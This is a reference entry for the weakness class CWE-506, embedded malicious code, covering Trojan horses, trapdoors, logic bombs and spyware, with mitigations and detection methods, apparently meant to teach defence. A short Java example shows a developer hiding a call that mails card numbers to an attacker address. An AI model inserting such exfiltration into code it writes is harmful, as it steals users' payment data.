CVE-2023-29059: CWE-506: Embedded Malicious Code (4.10)

Weakness ID: 506

Abstraction: Class
Structure: Simple

Description

The product contains code that appears to be malicious in nature.

Extended Description

Malicious flaws have acquired colorful names, including Trojan horse, trapdoor, timebomb, and logic-bomb. A developer might insert malicious code with the intent to subvert the security of a product or its host system at some time in the future. It generally refers to a program that performs a useful service but exploits rights of the program’s user in a way the user does not intend.

Relationships

This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

Relevant to the view “Research Concepts” (CWE-1000)

Nature

Type

ID

Name

ChildOf

Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.

912

Hidden Functionality

ParentOf

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.

507

Trojan Horse

ParentOf

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.

510

Trapdoor

ParentOf

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.

511

Logic/Time Bomb

ParentOf

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.

512

Spyware

Modes Of Introduction

The different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.

Phase

Note

Implementation

Bundling

Distribution

Installation

Common Consequences

This table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

Scope

Impact

Likelihood

Confidentiality
Integrity
Availability

Technical Impact: Execute Unauthorized Code or Commands

Demonstrative Examples

Example 1

In the example below, a malicous developer has injected code to send credit card numbers to the developer’s own email address.

(bad code)

Example Language: Java

boolean authorizeCard(String ccn) {

// Authorize credit card.

…

mailCardNumber(ccn, “evil_developer@evil_domain.com”);

}

Potential Mitigations

Phase: Testing

Remove the malicious code and start an effort to ensure that no more malicious code exists. This may require a detailed review of all code, as it is possible to hide a serious attack in only one or two lines of code. These lines may be located almost anywhere in an application and may have been intentionally obfuscated by the attacker.

Detection Methods

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

• Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

• Generated Code Inspection

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

• Automated Monitored Execution

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

• Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

• Origin Analysis

Effectiveness: SOAR Partial

Memberships

This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature

Type

ID

Name

MemberOf

Category - a CWE entry that contains a set of other entries that share a common characteristic.

904

SFP Primary Cluster: Malware

Notes

Terminology

The term “Trojan horse” was introduced by Dan Edwards and recorded by James Anderson [18] to characterize a particular computer security threat; it has been redefined many times [4,18-20].

Taxonomy Mappings

Mapped Taxonomy Name

Node ID

Fit

Mapped Node Name

Landwehr

Malicious

Content History

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